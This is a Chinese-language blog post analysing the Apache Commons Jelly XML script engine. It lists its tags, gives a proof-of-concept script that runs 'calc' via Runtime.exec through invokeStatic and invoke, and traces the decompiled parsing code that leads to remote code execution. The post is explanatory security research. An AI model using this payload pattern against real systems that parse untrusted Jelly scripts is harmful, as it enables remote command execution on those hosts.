Apache Common Jelly浅析
Commons-jelly
Jelly
Apache Commons Jelly是一个基于 Java 的轻量级脚本引擎和模板引擎,主要用于解析和执行 XML 格式的脚本。它是 Apache Commons 项目的一部分,旨在提供一种简单的方式来在 Java 应用程序中嵌入脚本逻辑,类似于其它模板模板引擎如Apache Velocity 或Freemarker,但是从Jelly官方文档定义的标签中不难看出,它将JSTL、Velocity, Ant等表达式语言借鉴到了一起。正如其它的模板引擎一样,因为支持动态解析的特性,因此在使用时需要严格限制输入的动态数据。

常见语法
-
<j:out>:将文本或表达式输出到标准输出或指定的输出流。 -
<j:if>:条件判断标签,如果条件为true,则执行子标签。 -
<j:elseif>和<j:else>:在<j:if>中用于扩展条件判断。 -
<j:for>:循环标签,用于遍历数组或集合。 -
<j:while>:循环标签,用于在给定条件为true时反复执行。 -
<j:break>:用于跳出循环。 -
<j:continue>:用于跳过当前循环的剩余部分,进入下次循环。 -
<j:set>:设置变量的值。 -
<j:get>:获取变量的值。 -
<j:include>:将其他 Jelly 脚本包含到当前脚本中。 -
<j:include>:与<j:when>等多条件选择结构 -
${expression}:在标签中使用表达式来动态计算值。 -
<j:eval>:评估和执行给定的表达式或代码块。 -
<j:script>:在 Jelly 脚本中嵌入脚本代码。 -
<j:printf>:格式化输出,类似于 Java 的System.out.printf()。 -
<j:dynamicTag>:动态标签,可以在运行时动态定义和创建标签。 -
<j:invoke>:调用方法或执行操作的标签。 -
<j:invokeStatic>:调用静态方法的标签。 -
<j:useBean>:创建和使用 Java Bean 的标签。 -
<j:try>和<j:catch>:用于异常处理的标签块。 -
<j:finally>:用于定义在try或catch块结束时执行的代码。 -
<j:case>:在switch结构中使用的标签。 -
<j:switch>:实现switch语句的标签。 -
<ant:task>:与 Apache Ant 集成的标签,用于执行 Ant 任务。 -
<ant:property>:设置或获取 Ant 属性。 -
<j:tagLibrary>:定义一个标签库,注册和使用自定义标签。 -
<j:foreach>:用于迭代集合或数组。 -
<j:while>:执行循环,直到条件不成立。 -
<j:parse>:解析 XML 数据。 -
<j:transform>:应用 XSLT 转换。 -
<j:toXML>:将对象转换为 XML 格式。
部分用例如:
<j:set var="myVar" value="Hello World" />
<j:invoke on="${object}" method="methodName">
<j:arg value="argumentValue" />
</j:invoke>
<j:new var="myObject" class="com.example.MyClass" />
<j:useBean id="beanId" class="com.example.BeanClass" />
<j:invokeStatic className="com.example.ClassName" method="staticMethodName">
<j:arg value="argumentValue" />
</j:invokeStatic>
<j:choose>
<j:when test="${condition1}">
</j:when>
<j:when test="${condition2}">
</j:when>
<j:otherwise>
</j:otherwise>
</j:choose> 代码分析
从以上的标签不难看出,jelly能使用的标签语法非常丰富,其中不乏有能调用方法、动态new对象、invoke直接调用某些方法等等危险度较高的标签,如以下:
<j:jelly xmlns:j="jelly:core" xmlns:util="jelly:util">
<j:invokeStatic className="java.lang.Runtime" method="getRuntime" var="runtime" />
<j:invoke on="${runtime}" method="exec">
<j:arg value="calc" />
</j:invoke>
</j:jelly>
XML文件通过
invokeStatic调用了java.lang.Runtime.getRuntime()方法,并把它赋予了runtime变量,最后通过invoke方法调用了runtime变量中的exec方法,并通过arg标签传入参数为calc。注:调用的类、方法需为public修饰。
远程调用示例代码:
package com.example.demo.demos.web;
import org.apache.commons.jelly.JellyContext;
import org.apache.commons.jelly.JellyException;
import org.apache.commons.jelly.Script;
import org.apache.commons.jelly.XMLOutput;
import java.io.UnsupportedEncodingException;
public class jelly {
public static void main(String[] args) throws JellyException, UnsupportedEncodingException {
JellyContext context = new JellyContext();
Script script = context.compileScript("http://127.0.0.1:8888/2.xml");
script.run(context, XMLOutput.createXMLOutput(System.out));
}
}
以下大致看下整个代码的调用流程和处理标签的时候,是怎么完成RCE的触发:
首先compileScript方法通过URL类获取流数据,最终将输入流转入parse方法中,通过getXMLReader().parse方法进行XML解析,会将元素名称、脚本块内容、命名空间上下文、行号列号等信息解析为Script类
public Script compileScript(String uri) throws JellyException {
XMLParser parser = this.getXMLParser();
parser.setContext(this);
InputStream in = this.getResourceAsStream(uri);
if (in == null) {
throw new JellyException("Could not find Jelly script: " + uri);
} else {
Script script = null;
try {
script = parser.parse(in);
} catch (IOException var6) {
throw new JellyException("Could not parse Jelly script", var6);
} catch (SAXException var7) {
throw new JellyException("Could not parse Jelly script", var7);
}
return script.compile();
}
}
public Script parse(InputStream input) throws IOException, SAXException {
this.ensureConfigured();
this.fileName = this.getCurrentURI();
this.getXMLReader().parse(new InputSource(input));
return this.script;
} 
Script类中包含了XML文本数据的关键信息,调用run方法进一步解析,主要关注点集中在expression.evaluateRecurse与tag.doTag(output)中。
public void run(JellyContext context, XMLOutput output) throws JellyTagException {
URL rootURL = context.getRootURL();
URL currentURL = context.getCurrentURL();
try {
Tag tag = this.getTag(context);
if (tag != null) {
tag.setContext(context);
this.setContextURLs(context);
Iterator iter;
Map.Entry entry;
String name;
Expression expression;
Class type;
if (tag instanceof DynaTag) {
DynaTag dynaTag = (DynaTag)tag;
Object value;
for(iter = this.attributes.entrySet().iterator(); iter.hasNext(); dynaTag.setAttribute(name, value)) {
entry = (Map.Entry)iter.next();
name = (String)entry.getKey();
expression = (Expression)entry.getValue();
Class type = dynaTag.getAttributeType(name);
type = null;
if (type != null && type.isAssignableFrom(class$org$apache$commons$jelly$expression$Expression == null ? (class$org$apache$commons$jelly$expression$Expression = class$("org.apache.commons.jelly.expression.Expression")) : class$org$apache$commons$jelly$expression$Expression) && !type.isAssignableFrom(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) {
value = expression;
} else {
value = expression.evaluateRecurse(context);
}
}
} else {
DynaBean dynaBean = new ConvertingWrapDynaBean(tag);
Object value;
for(iter = this.attributes.entrySet().iterator(); iter.hasNext(); dynaBean.set(name, value)) {
entry = (Map.Entry)iter.next();
name = (String)entry.getKey();
expression = (Expression)entry.getValue();
DynaProperty property = dynaBean.getDynaClass().getDynaProperty(name);
if (property == null) {
throw new JellyException("This tag does not understand the '" + name + "' attribute");
}
type = property.getType();
value = null;
if (type.isAssignableFrom(class$org$apache$commons$jelly$expression$Expression == null ? (class$org$apache$commons$jelly$expression$Expression = class$("org.apache.commons.jelly.expression.Expression")) : class$org$apache$commons$jelly$expression$Expression) && !type.isAssignableFrom(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) {
value = expression;
} else {
value = expression.evaluateRecurse(context);
}
}
}
tag.doTag(output);
if (output != null) {
output.flush();
}
return;
}
} finally {
context.setRootURL(rootURL);
context.setCurrentURL(currentURL);
}
}
- 上下文处理:
- 保存了当前上下文中的
rootURL和currentURL,以便在方法执行完后恢复这些值。- 上下文 (
JellyContext) 是 Jelly 执行时的核心,它维护标签解析时的变量和执行状态。- 获取并初始化标签 (
Tag):
- 通过
this.getTag(context)方法获取当前的标签对象。- 如果标签存在,设置其上下文并初始化它需要的属性。
- 动态标签处理 (
DynaTag):
- 检查标签是否是动态标签
DynaTag,如果是,则需要额外的Type处理- 普通标签处理 (
DynaBean):
- 如果不是动态标签,则将标签包装为一个
DynaBean对象,获取动态标签的属性DynaProperty- 如果属性有效,则调用
expression.evaluateRecurse进行解析,并将解析的结果通过setAttribute赋值到dynaBean当中。- 标签执行 (
doTag):
- 调用标签的
doTag方法,通过doTag执行各自标签的对应逻辑,事实上就是进入不同的Tag类当中,执行不同的doTag方法。- 如果输出流 (
XMLOutput) 不为空,执行完毕后刷新输出。
在解析完XML内容侯,会分标签节点进行遍历解析,首先遍历的标签是invokeStatic,会逐步对method、className、var三个属性进行处理,在获取到变量的类型为Java.lang.String后,会进入expression.evaluateRecurse(context)中。

evaluateRecurse会调用evaluate方法,首先method方法会直接返回runtime,随后通过set方法放入到this.instance当中,因为三个类型最终都是Java.lang.String,所以流程都是一样的,取出key-value放入,因为key都是规定的,因此最终形成的invokeStatic如图。
public Object evaluateRecurse(JellyContext context) {
Object value = this.evaluate(context);
if (value instanceof Expression) {
Expression expression = (Expression)value;
return expression.evaluateRecurse(context);
} else {
return value;
}
}
public class ConvertingWrapDynaBean extends WrapDynaBean {
public ConvertingWrapDynaBean(Object instance) {
super(instance);
}
public void set(String name, Object value) {
try {
BeanUtils.setProperty(this.instance, name, value);
} catch (Throwable var4) {
throw new IllegalArgumentException("Property '" + name + "' has no write method")…
文章标题:Apache Common Jelly浅析
文章链接:https://www.aiwin.net.cn/index.php/archives/4425/
最后编辑:2025 年 5 月 6 日 20:54 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)